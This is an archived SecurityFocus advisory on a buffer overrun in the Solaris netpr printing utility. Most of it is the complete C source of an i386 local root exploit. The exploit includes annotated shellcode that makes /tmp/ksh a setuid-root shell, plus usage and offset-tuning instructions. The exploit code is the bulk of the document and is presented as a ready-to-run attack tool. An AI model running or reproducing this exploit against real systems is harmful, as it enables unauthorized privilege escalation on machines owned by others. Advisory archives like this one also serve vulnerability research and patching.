source: http://www.securityfocus.com/bid/1200/info
 
A buffer overrun exists in the 'netpr' program, part of the SUNWpcu (LP) package included with Solaris, from Sun Microsystems. Versions of netpr on Solaris 2.6 and 7, on both Sparc and x86 have been confirmed as being vulnerable. The overflow is present in the -p option, normally used to specify a printer. By specifying a long buffer containing machine executable code, it is possible to execute arbitrary commands as root. On Sparc, the exploits provided will spawn a root shell, whereas on x86 it will create a setuid root shell in /tmp.

/**     
***  netprex - i386 Solaris root exploit for /usr/lib/lp/bin/netpr
***     
***  Tested and confirmed under Solaris 2.6 and 7 (i386)
*** 
***  Usage:  % netprex hostname [offset]
***         
***  where hostname is the name of a host running the printer service on
***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
***  is the number of bytes to add to the stack pointer to calculate your
***  target return address; try -1000 to 1000 in increments of 100 for
***  starters.
***        
***  Cheez Whiz / ADM   
***  cheezbeast@hotmail.com
*** 
***  March 4, 1999
**/ 
    
/*      Copyright (c) 1999 ADM  */
/*        All Rights Reserved   */

/*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
/*      The copyright notice above does not evidence any        */
/*      actual or intended publication of such source code.     */

#define BUFLEN 1047
#define NOP 0x90

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

char shell[] =
/*  0 */ "\xeb\x41"                              /* jmp springboard       */
/* syscall:                                                               */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"          /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                                  /* ret                   */
/* start:                                                                 */
/* 10 */ "\x5e"                                  /* popl %esi             */
/* 11 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xbb"                          /* movl %eax,-0x45(%esi) */
/* 16 */ "\x88\x46\xc0"                          /* movb %al,-0x40(%esi)  */
/* 19 */ "\x88\x46\x08"                          /* movb %al,0x8(%esi)    */
/* chown:                                                                 */
/* 22 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 24 */ "\x50"                                  /* pushl %eax            */
/* 25 */ "\x50"                                  /* pushl %eax            */
/* 26 */ "\x56"                                  /* pushl %esi            */
/* 27 */ "\xb0\x10"                              /* movb $0x10,%al        */
/* 29 */ "\xe8\xe0\xff\xff\xff"                  /* call syscall          */
/* 34 */ "\x83\xc4\x0c"                          /* addl $0xc,%esp        */
/* chmod:                                                                 */
/* 37 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 39 */ "\xb0\x6d"                              /* movb $0x6d,%al        */
/* 41 */ "\xb4\x09"                              /* movb $0x9,%ah         */
/* 43 */ "\x50"                                  /* pushl %eax            */
/* 44 */ "\x56"                                  /* pushl %esi            */
/* 45 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 47 */ "\xb0\x0f"                              /* movb $0xf,%al         */
/* 49 */ "\xe8\xcc\xff\xff\xff"                  /* call syscall          */
/* 54 */ "\x83\xc4\x08"                          /* addl $0x8,%esp        */
/* exit:                                                                  */
/* 57 */ "\x31\xc0"                              /* xor %eax,%eax         */
/* 59 */ "\x50"                                  /* pushl %eax            */
/* 60 */ "\xb0\x01"                              /* movb $0x1,%al         */
/* 62 */ "\xe8\xbf\xff\xff\xff"                  /* call syscall          */
/* springboard:                                                           */
/* 67 */ "\xe8\xc2\xff\xff\xff"                  /* call start            */
/* data:                                                                  */
/* 72 */ "\x2f\x74\x6d\x70\x2f\x6b\x73\x68\xff"; /* DATA                  */

char buf[BUFLEN+1];

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");                   
}

int
main(int argc, char *argv[])
{
    unsigned long int esp, nop;                                           
    long int offset = 0;                         
    char *hostname, c;                           
    int i, null, umbilical[2];                   
    struct stat st;
    int status;                                                           

    if (argc < 2) {                                                       
        printf("usage: %s hostname [offset]\n", argv[0]);                 
        exit(1);
    }

    esp = get_esp();
    hostname = argv[1];
    if (argc > 2)
        offset = strtol(argv[2], NULL, 0);       
    if (argc > 3)
        nop = strtoul(argv[3], NULL, 0);
    else
        nop = 942;
 
    memset(buf, NOP, BUFLEN);                                             
    memcpy(buf+nop, shell, strlen(shell));       
    for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;         
    
    printf("using return address 0x%08x (0x%08x offset %d) [nop %d]\n",   
           esp+offset, esp, offset, nop);
    
    if (stat("/tmp/ksh", &st) < 0) {
        printf("exploit failed; copy /bin/ksh to /tmp first!\n");
        exit(1);
    }
    
    if (pipe(umbilical) < 0) {
        printf("exploit failed; unable to create a pipe!\n");
        exit(1); 
    }
        
    switch (fork()) {
    case -1:
        printf("exploit failed; unable to fork!\n");
        exit(1);
        break;
    case 0:
        if ((null = open("/dev/null", O_RDWR, 0)) < 0) {
            printf("exploit failed; cannot open /dev/null!\n");
            exit(1);
        }  
        dup2(null, STDIN_FILENO);
        dup2(null, STDOUT_FILENO);  
        dup2(null, STDERR_FILENO);
        if (null > STDERR_FILENO)
            close(null);
        close(umbilical[0]);
        dup2(umbilical[1], 10); /* yes, descriptor 10 -- trust me ;-) */
        execl("/usr/lib/lp/bin/netpr", 
              "netpr",
              "-I", "ADM-ADM",
              "-U", "ADM!ADM",
              "-p", buf,
              "-d", hostname,
              "-P", "bsd",
              "/etc/passwd", NULL);
        printf("exploit failed; unable to exec!\n");
        exit(1);
        break;
    default:
        close(umbilical[1]);
        c = 0;
        while (c != '\n') {
            read(umbilical[0], &c, 1);
        }
        c = '\0';
        while (write(umbilical[0], &c, 1) < 1)
            ;
        wait(&status);
        if (WIFSIGNALED(status)) {
            printf("exploit failed; child process died on signal %d "
                   "(try adjusting the offset)\n", WTERMSIG(status));
            exit(1);
        } else if (WIFEXITED(status) && (WEXITSTATUS(status) != 0)) {
            printf("exploit failed; child process exited with unexpected "
                   "return value %d, instead of 0\n", WEXITSTATUS(status));
            exit(1);
        }
        break;  
    }   
    
    if (stat("/tmp/ksh", &st) < 0) {
        printf("exploit failed; /tmp/ksh disappeared somehow!\n");
        exit(1); 
    } else if (st.st_uid != 0) {
        printf("exploit failed; failed to make /tmp/ksh owned by root!\n");
        exit(1); 
    } else if ((st.st_mode & 07777) != 04555) {
        printf("exploit failed; failed to change /tmp/ksh to mode 4555!\n");
        exit(1);
    } else {
        printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n");
        exit(0);   
    }       
}       